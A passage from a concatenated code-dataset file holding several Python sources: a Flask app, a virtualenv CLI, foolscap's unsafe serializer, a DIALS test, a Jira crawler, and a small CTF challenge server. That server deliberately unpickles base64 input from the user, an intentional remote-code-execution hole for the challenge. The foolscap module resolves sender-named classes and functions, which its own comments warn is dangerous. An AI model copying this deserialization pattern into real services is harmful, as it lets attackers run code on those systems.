(palabra,modo,date_time))\n conn.commit()\n conn.close()\n global palabraRecibida\n palabraRecibida = palabra\n return \"[\"+palabra+\"] GUARDADA CORRECTAMENTE, MODO: [\"+modo+\"]\"\n\n@app.route('/')\ndef ListarPalabras():\n conn=sqlite3.connect('database.db')\n c=conn.cursor()\n c.execute('''SELECT * FROM PALABRAS;''')\n var = \"\"\n all_rows = c.fetchall()\n #opciones = '{ \"name\":\"John\", \"age\":30, \"city\":\"New York\"}'\n listaPalabras = []\n for row in all_rows:\n # row[0] returns the first column in the query (name), row[1] returns email column.\n var += ('{0} : {1}, {2}\\n'.format(row[0], row[1], row[2]))\n #opciones.append(4);\n palabra = [str(row[0]), str(row[1]), str(row[2]), str(row[3])]\n #listaPalabras = palabra\n listaPalabras.append(palabra)\n conn.close()\n #return Response(\"{\\\"a\\\":\\\"b\\\"}\", status=200, mimetype='application/json')\n #y = json.loads(opciones)\n y=json.dumps(listaPalabras)\n #return y\n return render_template('listarPalabras.html', result = listaPalabras)\n\n@app.route('/verificarBuffer')\ndef verificarBuffer():\n global palabraRecibida\n if palabraRecibida != \"\":\n auxPalabraRecibida = palabraRecibida\n palabraRecibida = \"\"\n return Response(\"{\\\"MODO\\\":\\\"\"+modo+\"\\\",\\\"PALABRA\\\":\\\"\"+auxPalabraRecibida+\"\\\"}\", status=200, mimetype='application/json')\n else:\n return \"\";","sub_path":"Servidor/FlaskApp.py","file_name":"FlaskApp.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312051225","text":"# -*- coding: utf-8 -*-\nimport click\n\n\nclick.disable_unicode_literals_warning = True\n\n\n@click.group('virtualenv')\ndef main():\n pass\n\n\n@main.command()\n@click.argument('name')\n@click.option('requirements', '-r', multiple=True)\n@click.option('editables', '-e', multiple=True)\n@click.option('packages', '-i', multiple=True)\n@click.option('--python', default='python2')\n@click.option('--force', is_flag=True)\ndef create(name, requirements, editables, packages, python, force):\n \"\"\"\n Create a virtualenv, caching when possible.\n \"\"\"\n from zerotk.zops import Console\n\n venv = _create_venv(name, python)\n if force:\n venv.force_create()\n else:\n venv.open_or_create()\n venv.install('virtualenvwrapper')\n\n for i_requirement in requirements:\n Console.item('REQUIREMENT: {}'.format(i_requirement))\n Console.output(venv.requirement(i_requirement, force=True, upgrade=True))\n\n for i_editable in editables:\n Console.item('EDITABLE: {}'.format(i_editable))\n Console.output(venv.editable(i_editable, force=True, upgrade=True))\n\n for i_package in packages:\n Console.item('PACKAGE: {}'.format(i_package))\n Console.output(venv.install(i_package, force=True, upgrade=True))\n\n\ndef _create_venv(name, python):\n from virtualenvapi.manage import VirtualEnvironment\n import os\n\n def workon_home(*args):\n try:\n result = os.environ['WORKON_HOME']\n except KeyError:\n raise RuntimeError('Environment variables WORKON_HOME not found.')\n else:\n os.makedirs(result, exist_ok=True)\n return os.path.join(result, *args)\n\n venv_path = workon_home(name)\n result = VirtualEnvironment(venv_path, python=python)\n return result\n","sub_path":"zops/virtualenv/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386627367","text":"\n\"\"\"\nstorage.py: support for using Banana as if it were pickle\n\nThis includes functions for serializing to and from strings, instead of a\nnetwork socket. It also has support for serializing 'unsafe' objects,\nspecifically classes, modules, functions, and instances of arbitrary classes.\nThese are 'unsafe' because to recreate the object on the deserializing end,\nwe must be willing to execute code of the sender's choosing (i.e. the\nconstructor of whatever package.module.class names they send us). It is\nunwise to do this unless you are willing to allow your internal state to be\ncompromised by the author of the serialized data you're unpacking.\n\nThis functionality is isolated here because it is never used for data coming\nover network connections.\n\"\"\"\n\nimport sys\nimport io\nimport types\nimport inspect\nimport operator as O\n\nimport pickle\nfrom pickle import whichmodule # used by FunctionSlicer\n\nfrom twisted.internet.defer import Deferred\nfrom twisted.python import reflect\n\nfrom foolscap import slicer, banana, tokens\nfrom foolscap.slicer import BaseSlicer\nfrom foolscap.slicers.root import ScopedRootSlicer, ScopedRootUnslicer\n\nfrom .tokens import BananaError, Violation\n\n\n#ClassType = getattr(types, 'ClassType', type)\nInstanceType = getattr(types, 'InstanceType', object)\n\n\nUnsafeUnslicerRegistry = {}\n\n\n################## Slicers for \"unsafe\" things\n\n# Extended types, not generally safe. The UnsafeRootSlicer checks for these\n# with a separate table.\n\nclass InstanceSlicer(BaseSlicer):\n opentype = (b'instance',)\n trackReferences = True\n\n pickle_protocol = pickle.DEFAULT_PROTOCOL\n ordered_state = False # @note: использую для тестов\n\n def __init__(self, obj):\n assert not issubclass(type(obj), type), (type(obj), obj) # @see: pickle\n# if issubclass(type(obj), type):\n# raise Violation('Instance expected', type(obj), obj)\n super().__init__(obj)\n\n def sliceBody(self, streamable, banana):\n # @see: Pickle.save\n\n type_obj = type(self.obj)\n\n reduce = getattr(self.obj, '__reduce_ex__', None)\n\n if reduce is not None:\n try:\n rv = reduce(self.pickle_protocol)\n except TypeError as exc:\n raise Violation(str(exc))\n else:\n reduce = getattr(self.obj, '__reduce__', None)\n if reduce is None:\n raise BananaError('Can\\'t pickle {!r} object: {!r}'.format(type_obj, self.obj))\n rv = reduce()\n\n if isinstance(rv, str):\n raise NotImplementedError(self.obj, rv)\n\n if not isinstance(rv, tuple):\n raise BananaError('{!r} must return string or tuple'.format(reduce))\n\n rv_len = len(rv)\n\n if rv_len < 2 or 5 < rv_len:\n raise BananaError('Tuple {!r} returned by {!r} must have two to five elements'\\\n .format(rv, reduce))\n\n# def unpack_rv(func, args, state=None, listitems=None, dictitems=None):\n# return func, args, state, listitems, dictitems\n# func, args, state, listitems, dictitems = unpack_rv()\n\n # @see: Pickle.save_reduce\n\n func, args, *rv_rest = rv\n state, listitems, dictitems = tuple(rv_rest) + (None,) * (5 - rv_len)\n\n assert state is None or type(state) is dict, (type(state), state)\n\n if listitems is not None:\n raise NotImplementedError('listitems', self.obj, rv)\n\n if dictitems is not None:\n raise NotImplementedError('dictitems', self.obj, rv)\n\n func_name = getattr(func, '__name__', '')\n\n if 4 <= self.pickle_protocol and func_name == '__newobj_ex__':\n cls, args, kwargs = args\n\n if not hasattr(cls, '__new__'):\n raise BananaError('args[0] from __newobj_ex__ args has no __new__', cls, args)\n\n if cls is not type_obj:\n raise BananaError('args[0] from __newobj_ex__ args has the wrong class', cls, args)\n\n yield 4\n yield cls\n yield tuple(args)\n yield kwargs\n # NEWOBJ_EX\n\n elif 2 <= self.pickle_protocol and func_name == '__newobj__':\n cls, *args = args\n\n if not hasattr(cls, '__new__'):\n raise BananaError('args[0] from __newobj__ args has no __new__', cls, args)\n\n if cls is not type_obj:\n raise BananaError('args[0] from __newobj__ args has the wrong class', cls, args)\n\n yield 2\n yield cls\n yield tuple(args)\n # NEWOBJ\n\n else:\n yield 0\n yield func\n yield args\n # REDUCE\n\n if state:\n if self.ordered_state:\n state_items = sorted(state.items(), key=O.itemgetter(0))\n else:\n state_items = state.items()\n\n for key, value in state_items:\n yield key\n yield value\n\n # BUILD\n\n # @todo: listitems & dictitems\n\n def describe(self):\n return ''.format(type(self.obj).__name__)\n\n\nclass InstanceUnslicer(slicer.BaseUnslicer):\n # this is an unsafe unslicer: an attacker could induce you to create\n # instances of arbitrary classes with arbitrary attributes: VERY\n # DANGEROUS!\n\n opentype = (b'instance',)\n unslicerRegistry = UnsafeUnslicerRegistry\n\n pickle_protocol = None\n reduce_func = None\n reduce_args = None\n new_cls = None\n new_args = None\n new_kwargs = None\n state = None\n state_key = None\n listitems = None # @xxx: not implemented\n dictitems = None # @xxx: not implemented\n\n num_unreferenceable_children = 0\n all_children_are_referenceable_defer = None\n\n # danger: instances are mutable containers. If an attribute value is not\n # yet available, __dict__ will hold a Deferred until it is. Other\n # objects might be created and use our object before this is fixed.\n # TODO: address this. Note that InstanceUnslicers aren't used in PB\n # (where we have pb.Referenceable and pb.Copyable which have schema\n # constraints and could have different restrictions like not being\n # allowed to participate in reference loops).\n\n def start(self, count):\n self.count = count\n self.deferred = Deferred()\n self.protocol.setObject(count, self.deferred)\n\n def checkToken(self, typebyte, size):\n if self.pickle_protocol is None:\n if typebyte != tokens.INT:\n raise BananaError('InstanceUnslicer `pickle_protocol` token must be INT, got 0x{:x}'.format(ord(typebyte)))\n\n elif self.pickle_protocol == 4:\n # @todo: more tests\n\n if self.new_cls is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `new_cls` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.new_args is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `new_args` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.new_kwargs is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `new_kwargs` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.state_key is None:\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError('InstanceUnslicer `state_key` token must be STRING or SVOCAB, got 0x{:x}'.format(ord(typebyte)))\n\n elif self.pickle_protocol == 2:\n # @todo: more tests\n\n if self.new_cls is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `new_cls` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.new_args is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `new_args` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.state_key is None:\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError('InstanceUnslicer `state_key` token must be STRING or SVOCAB, got 0x{:x}'.format(ord(typebyte)))\n\n elif self.pickle_protocol == 0:\n # @todo: more tests\n\n if self.reduce_func is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `reduce_func` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.reduce_args is None:\n if typebyte != tokens.OPEN:\n raise BananaError('InstanceUnslicer `reduce_args` token must be OPEN, got 0x{:x}'.format(ord(typebyte)))\n elif self.state_key is None:\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError('InstanceUnslicer `state_key` token must be STRING or SVOCAB, got 0x{:x}'.format(ord(typebyte)))\n\n else:\n raise BananaError('Unknown `pickle_protocol`', self.pickle_protocol)\n\n def receiveChild(self, obj, ready_deferred=None):\n assert ready_deferred is None\n\n # @todo: (?) finite state machine\n\n# print('--receiveChild--', self, obj)\n\n if self.state is None:\n if isinstance(obj, Deferred):\n raise NotImplementedError\n\n if self.pickle_protocol is None:\n self.pickle_protocol = obj\n\n elif self.pickle_protocol == 4:\n if self.new_cls is None: self.new_cls = obj\n elif self.new_args is None: self.new_args = obj\n elif self.new_kwargs is None: self.new_kwargs = obj\n elif self.state is None: self.state = {}\n else: raise BananaError('Unexpected child', obj)\n\n elif self.pickle_protocol == 2:\n if self.new_cls is None: self.new_cls = obj\n elif self.new_args is None: self.new_args = obj\n elif self.state is None: self.state = {}\n else: raise BananaError('Unexpected child', obj)\n\n elif self.pickle_protocol == 0:\n if self.reduce_func is None: self.reduce_func = obj\n elif self.reduce_args is None: self.reduce_args = obj\n elif self.state is None: self.state = {}\n else: raise BananaError('Unexpected child', obj)\n\n else:\n raise BananaError('Unknown `pickle_protocol`', self.pickle_protocol)\n\n if self.state is not None:\n if self.state_key is None:\n if isinstance(obj, Deferred):\n raise NotImplementedError\n\n if obj in self.state:\n raise BananaError('Duplicate attribute name \"{}\"'.format(obj))\n\n self.state_key = obj\n\n else:\n if isinstance(obj, Deferred):\n def setstate(value, key):\n self.state[key] = value\n\n self.num_unreferenceable_children -= 1\n\n if not self.num_unreferenceable_children and self.all_children_are_referenceable_defer:\n self.all_children_are_referenceable_defer.callback(None)\n\n self.num_unreferenceable_children += 1\n\n obj.addCallback(setstate, self.state_key)\n\n else:\n self.state[self.state_key] = obj\n\n del self.state_key\n\n def receiveClose(self):\n # you could attempt to do some value-checking here, but there would\n # probably still be holes\n\n if self.pickle_protocol == 4:\n obj = self.new_cls.__new__(self.new_cls, *self.new_args, **self.new_kwargs)\n\n elif self.pickle_protocol == 2:\n obj = self.new_cls.__new__(self.new_cls, *self.new_args)\n\n elif self.pickle_protocol == 0:\n obj = self.reduce_func(*self.reduce_args)\n\n else:\n raise BananaError('Unknown `pickle_protocol`', self.pickle_protocol)\n\n# print('--receiveClose--', self, obj)\n\n def setstate():\n setstate = getattr(obj, '__setstate__', None)\n\n if setstate is not None:\n setstate(self.state)\n\n else:\n # @todo: state is tuple = slotstate\n\n #slotstate = None\n #if isinstance(state, tuple) and len(state) == 2:\n # state, slotstate = state\n #if state:\n\n obj_dict = obj.__dict__\n\n intern = sys.intern\n\n for key, value in self.state.items():\n if type(key) is str:\n obj_dict[intern(key)] = value\n else:\n obj_dict[key] = value\n\n #if slotstate:\n # for key, value in slotstate.items():\n # setattr(obj, key, value)\n\n# print('--receiveClose-setstate--', self, vars(obj))\n\n if self.num_unreferenceable_children:\n # @xxx: мне всё это не нравится\n self.all_children_are_referenceable_defer = Deferred()\n self.all_children_are_referenceable_defer.addCallback(lambda _: setstate())\n # @todo: (?) addErrback\n\n elif self.state:\n setstate()\n\n self.protocol.setObject(self.count, obj)\n self.deferred.callback(obj)\n\n return obj, None\n\n def describe(self):\n if self.reduce_args:\n cls = self.reduce_args[0]\n elif self.new_cls:\n cls = self.new_cls\n else:\n return ''\n return ''.format(cls.__name__)\n\n\nclass ModuleSlicer(slicer.BaseSlicer):\n opentype = (b'module',)\n trackReferences = True\n\n def sliceBody(self, streamable, banana):\n yield self.obj.__name__\n\n\nclass ClassSlicer(slicer.BaseSlicer):\n opentype = (b'class',)\n trackReferences = True\n\n def sliceBody(self, streamable, banana):\n yield reflect.qual(self.obj)\n\n\nclass MethodSlicer(slicer.BaseSlicer):\n opentype = (b'method',)\n trackReferences = True\n\n def sliceBody(self, streamable, banana):\n if self.obj.__self__ is None:\n yield self.obj.__func__.__qualname__\n else:\n yield self.obj.__func__.__name__\n yield self.obj.__self__\n# yield self.obj.__class__\n\n\nclass FunctionSlicer(slicer.BaseSlicer):\n opentype = (b'function',)\n trackReferences = True\n\n def sliceBody(self, streamable, banana):\n# name = self.obj.__name__\n# fullname = str(whichmodule(self.obj, self.obj.__name__)) + '.' + name\n fullname = self.obj.__module__ + '.' + self.obj.__qualname__\n yield fullname\n\n\nUnsafeSlicerTable = {\n types.ModuleType: ModuleSlicer,\n# InstanceType: InstanceSlicer,\n# ClassType : ClassSlicer,\n InstanceType: None,\n type : ClassSlicer,\n types.MethodType : MethodSlicer,\n types.FunctionType: FunctionSlicer,\n #types.TypeType: NewstyleClassSlicer,\n # ???: NewstyleInstanceSlicer, # pickle uses obj.__reduce__ to help\n # http://docs.python.org/lib/node68.html\n}\n\n\n# the root slicer for storage is exactly like the regular root slicer\nclass StorageRootSlicer(ScopedRootSlicer):\n pass\n\n\n# but the \"unsafe\" one (which handles instances and stuff) uses its own table\nclass UnsafeStorageRootSlicer(StorageRootSlicer):\n slicerTable = UnsafeSlicerTable\n\n def slicerForObject(self, obj):\n try:\n slicer = super().slicerForObject(obj)\n except Violation:\n # @xxx: InstanceType\n if InstanceType not in self.slicerTable:\n raise\n# if not inspect.isclass(type(obj)):\n if issubclass(type(obj), type):\n raise\n slicer = InstanceSlicer(obj)\n return slicer\n\n\n################## Unslicers for \"unsafe\" things\n\n\nclass Dummy:\n def __repr__(self):\n return '' % self.__dict__\n\n def __eq__(self, other):\n if type(other) is type(self):\n return self.__dict__ == other.__dict__\n return NotImplemented\n\n def __lt__(self, other):\n if type(other) is type(self):\n return self.__dict__ < other.__dict__\n return NotImplemented\n\n\nclass ModuleUnslicer(slicer.LeafUnslicer):\n opentype = (b'module',)\n unslicerRegistry = UnsafeUnslicerRegistry\n\n finished = False\n\n def checkToken(self, typebyte, size):\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError(\"ModuleUnslicer only accepts STRINGs\")\n\n def receiveChild(self, obj, ready_deferred=None):\n assert not isinstance(obj, Deferred)\n assert ready_deferred is None\n if self.finished:\n raise BananaError(\"ModuleUnslicer only accepts one string\")\n self.finished = True\n # TODO: taste here!\n mod = __import__(obj, {}, {}, \"x\")\n self.mod = mod\n\n def receiveClose(self):\n if not self.finished:\n raise BananaError(\"ModuleUnslicer requires a string\")\n return self.mod, None\n\n\nclass ClassUnslicer(slicer.LeafUnslicer):\n opentype = (b'class',)\n unslicerRegistry = UnsafeUnslicerRegistry\n\n finished = False\n\n def checkToken(self, typebyte, size):\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError(\"ClassUnslicer only accepts STRINGs\")\n\n def receiveChild(self, obj, ready_deferred=None):\n assert not isinstance(obj, Deferred)\n assert ready_deferred is None\n if self.finished:\n raise BananaError(\"ClassUnslicer only accepts one string\")\n self.finished = True\n # TODO: taste here!\n self.klass = reflect.namedObject(obj)\n\n def receiveClose(self):\n if not self.finished:\n raise BananaError(\"ClassUnslicer requires a string\")\n return self.klass, None\n\n\nclass MethodUnslicer(slicer.BaseUnslicer):\n opentype = (b'method',)\n unslicerRegistry = UnsafeUnslicerRegistry\n\n state = 0\n im_func = None\n im_self = None\n# im_class = None\n\n # @xxx: [bw] много быстрых и необдуманных правок\n\n # self.state:\n # 0: expecting a string with the method name\n # 1: expecting an instance (or None for unbound methods)\n # 2: expecting a class\n\n def checkToken(self, typebyte, size):\n if self.state == 0:\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError('MethodUnslicer methodname must be a STRING')\n\n elif self.state == 1:\n if typebyte != tokens.OPEN:\n raise BananaError('MethodUnslicer instance must be OPEN')\n\n# elif self.state == 2:\n# if typebyte != tokens.OPEN:\n# raise BananaError('MethodUnslicer class must be an OPEN')\n\n def doOpen(self, opentype):\n # check the opentype\n if self.state == 1:\n if opentype[0] not in (b'instance', b'none'):\n raise BananaError('MethodUnslicer instance must be instance or None')\n\n# elif self.state == 2:\n# if opentype[0] != b'class':\n# raise BananaError('MethodUnslicer class must be a class')\n\n unslicer = self.open(opentype)\n # TODO: apply constraint\n return unslicer\n\n def receiveChild(self, obj, ready_deferred=None):\n assert not isinstance(obj, Deferred)\n assert ready_deferred is None\n\n if self.state == 0:\n self.im_func = obj\n\n elif self.state == 1:\n# assert type(obj) in (InstanceType, type(None))\n assert obj is None or not inspect.isclass(obj), type(obj)\n self.im_self = obj\n\n# elif self.state == 2:\n# assert type(obj) == ClassType # TODO: new-style classes?\n# assert inspect.isclass(obj), type(obj)\n# assert self.im_self is None or isinstance(self.im_self, obj), (self.im_self, obj)\n# self.im_class = obj\n\n else:\n raise BananaError('MethodUnslicer only accepts three objects')\n\n self.state += 1\n\n def receiveClose(self):\n# if self.state != 3:\n# raise BananaError('MethodUnslicer requires three objects')\n\n if self.im_self is None:\n # getattr gives us an unbound method\n# meth = getattr(self.im_class, self.im_func)\n meth = reflect.namedAny(self.im_func)\n return meth, None\n\n # TODO: late-available instances\n #if isinstance(self.im_self, NotKnown):\n # im = _InstanceMethod(self.im_name, self.im_self, self.im_class)\n # return im\n\n# meth = vars(self.im_class)[self.im_func]\n# meth = vars(type(self.im_self))[self.im_func]\n# meth = meth.__get__(self.im_self)\n meth = getattr(self.im_self, self.im_func)\n return meth, None\n\n\nclass FunctionUnslicer(slicer.LeafUnslicer):\n opentype = (b'function',)\n unslicerRegistry = UnsafeUnslicerRegistry\n\n finished = False\n\n def checkToken(self, typebyte, size):\n if typebyte not in (tokens.STRING, tokens.SVOCAB):\n raise BananaError(\"FunctionUnslicer only accepts STRINGs\")\n\n def receiveChild(self, obj, ready_deferred=None):\n assert not isinstance(obj, Deferred)\n assert ready_deferred is None\n\n if self.finished:\n raise BananaError(\"FunctionUnslicer only accepts one string\")\n\n self.finished = True\n # TODO: taste here!\n self.func = reflect.namedAny(obj)\n\n def receiveClose(self):\n if not self.finished:\n raise BananaError(\"FunctionUnslicer requires a string\")\n return self.func, None\n\n\n# the root unslicer for storage is just like the regular one, but hands\n# received objects to the StorageBanana\nclass StorageRootUnslicer(ScopedRootUnslicer):\n def receiveChild(self, obj, ready_deferred):\n self.protocol.receiveChild(obj, ready_deferred)\n\n\n# but the \"unsafe\" one has its own tables\nclass UnsafeStorageRootUnslicer(StorageRootUnslicer):\n # This version tracks references for the entire lifetime of the\n # protocol. It is most appropriate for single-use purposes, such as a\n # replacement for Pickle.\n topRegistries = [slicer.UnslicerRegistry, slicer.BananaUnslicerRegistry, UnsafeUnslicerRegistry]\n openRegistries = [slicer.UnslicerRegistry, UnsafeUnslicerRegistry]\n\n\nclass StorageBanana(banana.Banana):\n object = None\n violation = None\n disconnectReason = None\n slicerClass = StorageRootSlicer\n unslicerClass = StorageRootUnslicer\n\n def prepare(self):\n self.d = Deferred()\n return self.d\n\n def receiveChild(self, obj, ready_deferred):\n if ready_deferred:\n ready_deferred.addBoth(self.d.callback)\n self.d.addCallback(lambda res: obj)\n else:\n self.d.callback(obj)\n del self.d\n\n def receivedObject(self, obj):\n self.object = obj\n\n def sendError(self, msg):\n pass\n\n def reportViolation(self, fail):\n self.violation = fail\n # @todo: [bw] ??? может зависнуть (кажется из-за bytes/str это было), см. git:3a30fbd5 test_serialize (кажется Serialize.test_copyable)\n # но с этим кодом ломаются некоторые тесты, например: L{foolscap.test.test_banana.DecodeTest.test_failed_dict3}\n #self.d.errback(fail) # -or- fail.raiseException()\n\n def reportReceiveError(self, fail):\n self.disconnectReason = fail\n fail.raiseException()\n\n\nclass SerializerTransport:\n def __init__(self, sio):\n self.sio = sio\n\n def write(self, data):\n self.sio.write(data)\n\n def loseConnection(self, why='ignored'):\n pass\n\n\ndef serialize(obj, outstream=None, root_class=StorageRootSlicer, banana=None):\n \"\"\"Serialize an object graph into a sequence of bytes. Returns a Deferred\n that fires with the sequence of bytes.\"\"\"\n\n if banana is not None:\n b = banana\n else:\n b = StorageBanana()\n b.slicerClass = root_class\n\n if outstream is None:\n sio = io.BytesIO()\n else:\n sio = outstream\n\n b.transport = SerializerTransport(sio)\n b.connectionMade()\n\n d = b.send(obj)\n\n def _report_error(res):\n if b.disconnectReason:\n return b.disconnectReason\n if b.violation:\n return b.violation\n return res\n\n d.addCallback(_report_error)\n\n if outstream is None:\n d.addCallback(lambda res: sio.getvalue())\n else:\n d.addCallback(lambda res: outstream)\n\n return d\n\n\ndef unserialize(data, banana=None, root_class=StorageRootUnslicer):\n \"\"\"Unserialize a sequence of bytes back into an object graph.\"\"\"\n\n if type(data) is not bytes:\n raise TypeError(type(data))\n\n if banana:\n b = banana\n else:\n b = StorageBanana()\n b.unslicerClass = root_class\n\n b.connectionMade()\n d = b.prepare() # this will fire with the unserialized object\n\n b.dataReceived(data)\n\n def _report_error(res):\n if b.disconnectReason:\n return b.disconnectReason\n if b.violation:\n return b.violation\n return res # return the unserialized object\n\n return d.addCallback(_report_error)\n","sub_path":"src/foolscap/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":25470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"449157345","text":"# test_integration_summation_2d\n#\n# Copyright (C) 2013 Diamond Light Source\n#\n# Author: Luis Fuentes-Montero (Luiso)\n#\n# This code is distributed under the BSD license, a copy of which is\n# included in the root directory of this package.\n\nfrom __future__ import absolute_import, division\nfrom __future__ import print_function\n\ndef run(i, imp):\n from random import randint\n from dials.array_family import flex\n\n #building a reflection table\n num_ref = 5\n ref_table = flex.reflection_table()\n\n shoebox = flex.shoebox(num_ref)\n ref_table['shoebox'] = shoebox\n\n intensity = flex.double(num_ref)\n ref_table['intensity.sum.value'] = intensity\n\n intensity_var = flex.double(num_ref)\n ref_table['intensity.sum.variance'] = intensity_var\n\n iterate = ref_table['shoebox']\n i_to_compare = []\n\n # bulding the shoebox with a desired content\n # which is a reflection with noise included\n\n n = 0\n for arr in iterate:\n img = flex.double(flex.grid(3, 3, 3))\n bkg = flex.double(flex.grid(3, 3, 3))\n msk = flex.int(flex.grid(3, 3, 3))\n for row in range(3):\n for col in range(3):\n for fra in range(3):\n img[row, col, fra] = row + col + fra + n * 9 + randint(0, i)\n bkg[row, col, fra] = 0.0\n msk[row, col, fra] = 3\n n += 1\n msk[1, 1, 1] = 5\n tmp_i = n * n * n * 3\n i_to_compare.append(tmp_i)\n img[1, 1, 1] += tmp_i\n\n arr.data = img[:, :, :]\n arr.background = bkg[:, :, :]\n arr.mask = msk[:, :, :]\n\n # calling the functions that we need to test\n # first select the algorithm for background calculation\n\n if imp == \"inclined\":\n print(\"testing inclined_background_subtractor\")\n from dials.algorithms.background.inclined_background_subtractor \\\n import layering_and_background_plane\n layering_and_background_plane(ref_table)\n elif imp == \"flat\":\n print(\"testing flat_background_subtractor\")\n from dials.algorithms.background.flat_background_subtractor \\\n import layering_and_background_avg\n layering_and_background_avg(ref_table)\n elif imp == \"curved\":\n print(\"testing curved_background_subtractor\")\n from dials.algorithms.background.curved_background_subtractor \\\n import layering_and_background_modl\n layering_and_background_modl(ref_table)\n\n # no matter which algorithm was used for background calculation\n # the integration summation must remain compatible\n\n from dials.algorithms.integration.summation2d \\\n import flex_2d_layering_n_integrating\n flex_2d_layering_n_integrating(ref_table)\n\n # comparing results\n\n result = \"OK\"\n resl_its = ref_table['intensity.sum.value']\n resl_var = ref_table['intensity.sum.variance']\n for n_its in range(len(resl_its)):\n if resl_its[n_its] <= i_to_compare[n_its] + i and \\\n resl_its[n_its] >= i_to_compare[n_its] - i and \\\n resl_var[n_its] > resl_its[n_its]:\n print(\"Ok \", n_its)\n else:\n print(\"Wrong num\", n_its)\n\n print(\"i =\", i)\n print(\"resl_its[n_its] =\", resl_its[n_its])\n print(\"i_to_compare[n_its] =\", i_to_compare[n_its])\n print(\"resl_var[n_its] =\", resl_var[n_its])\n\n result = \"wrong\"\n raise RuntimeError('wrong result')\n return result\n\n\nif __name__ == '__main__':\n for i in range(5):\n res1 = run(i, \"flat\")\n print(res1)\n res2 = run(i, \"inclined\")\n print(res2)\n res3 = run(i, \"curved\")\n print(res3)\n","sub_path":"test/algorithms/integration/test_integration_summation_2d.py","file_name":"test_integration_summation_2d.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"534591176","text":"#!/usr/bin/env python3\n\nimport pickle\nimport base64\nimport sys\n\nclass beet:\n def __init__(self, name):\n self.name = name\n\nprint(\"welcome to my beet reciever! i'm on a quest to find the best beets in the world\\nsend me your beet when ready\")\npickled_beet = base64.b64decode(raw_input())\nbeet = pickle.loads(pickled_beet)\nprint(\"thanks for your beet! \" + str(beet.name) + \" sounds like it is delicious!\")\nsys.exit(0)\n\n\n","sub_path":"online_ctfs/kaizen_2016/picked_beets/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"625042378","text":"import time\nimport json\nimport datetime\nimport requests\n\nfrom urllib.request import urlopen\nimport re\nfrom datetime import datetime, date\nfrom collections import OrderedDict\nfrom jira import JIRA\n\noptions = {\n 'server': 'https://issues.apache.org/jira/'\n}\n\n#project_name = \"Lucene - Core\"\n#project_name = \"Struts 2\"\n#project_name = \"Oozie\"\n#project_name = \"Ignite\"\n#project_name = \"Pig\"\n#project_name = \"Apache NiFi\"\n#project_name = \"Apache Storm\"\n#project_name = \"Tajo\"\n#project_name = \"Zeppelin\"\nproject_name = \"ZooKeeper\"\n\n###########################################################\n# Find the list of isues #\n\njira = JIRA(options)\nsess_get = jira._session.get\nprojects = jira.projects()\n\nfor p in projects:\n # print(p.name)\n if p.name == project_name:\n project = p\n print(project.name)\n break\n\nissues = []\n\nkeepCrawling = True\ni = 0\nwhile keepCrawling:\n tmp = jira.search_issues('project=' + project.key + ' AND status in (Resolved, Closed) AND resolution=Fixed',\n startAt=i, maxResults=50) #should set to 50 which is Jira's limitation for 1 request. For testing purpose, can set to 5\n print('.', end=\"\")\n if (len(tmp) > 0):\n issues.extend(tmp)\n i = i + 50\n keepCrawling = True #temporal limitation for testing, should set to True for real running\n else:\n keepCrawling = False\n\nprint('Total number of issues: ' + str(len(issues)))\n\n###########################################################\n# Download isues #\n\nstoreIssues = []\n\ntimeFormat = \"%Y-%m-%dT%H:%M:%S.000+0000\"\n\nfor issue in issues:\n try:\n print('.', end=\"\")\n exportedData = OrderedDict([])\n\n try:\n affectversion = {'affect': issue.fields.versions[0].name}\n except Exception:\n affectversion = {'affect': \"\"}\n\n # print(issue.fields.versions)\n try:\n output = \"\"\n for s in issue.fields.versions:\n output = output + s.name + \",\"\n # print(output)\n allaffectversion = {'all_affect': output[:-1]}\n except Exception:\n allaffectversion = {'all_affect': \"\"}\n\n try:\n fixversion = {'fix': issue.fields.fixVersions[0].name}\n except Exception:\n fixversion = {'fix': \"\"}\n\n try:\n output = \"\"\n for s in issue.fields.fixVersions:\n output = output + s.name + \",\"\n # print(output)\n allfixversion = {'all_fix': output[:-1]}\n except Exception:\n allfixversion = {'all_fix': \"\"}\n\n priority = {'priority': issue.fields.priority.name}\n resolvedDate = datetime.strptime(issue.fields.resolutiondate, timeFormat)\n createdDate = datetime.strptime(issue.fields.created, timeFormat)\n fixdays = {'time': (resolvedDate - createdDate).seconds}\n issue_type = {'type': issue.fields.issuetype.name}\n issue_id = {'issue_id': issue.key}\n\n # print(affectversion)\n # print(fixversion)\n # print(priority)\n # print(fixdays)\n exportedData.update(issue_id)\n exportedData.update(affectversion)\n exportedData.update(fixversion)\n exportedData.update(priority)\n exportedData.update(issue_type)\n exportedData.update(fixdays)\n 